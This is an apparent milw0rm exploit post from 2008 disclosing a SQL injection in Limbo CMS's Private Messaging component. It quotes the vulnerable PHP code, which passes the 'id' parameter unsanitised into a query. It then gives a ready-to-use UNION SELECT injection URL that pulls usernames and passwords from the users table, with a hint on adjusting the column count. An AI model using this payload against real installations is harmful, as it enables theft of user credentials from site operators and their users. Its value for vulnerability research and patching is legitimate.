Limbo CMS - Private Messaging Component SQL Injection

/*
   
   Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
   --------------------------------------------------------------------------
   StAkeR[at]hotmail[dot]it
   http://www.limboportal.com/index.php/option/downloads/task/download/id/108
   --------------------------------------------------------------------------

   com_privmsg/open.php
   
   31. if (isset($_GET['status']))
   32. {
   33. 	  header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
   34. }
   35. 
   36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
   37.
   
   
   - index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*
   
   (Syntax Error) Change number of columns (Ex: 0,0,0,username,password) 
   
   

*/

# milw0rm.com [2008-10-21]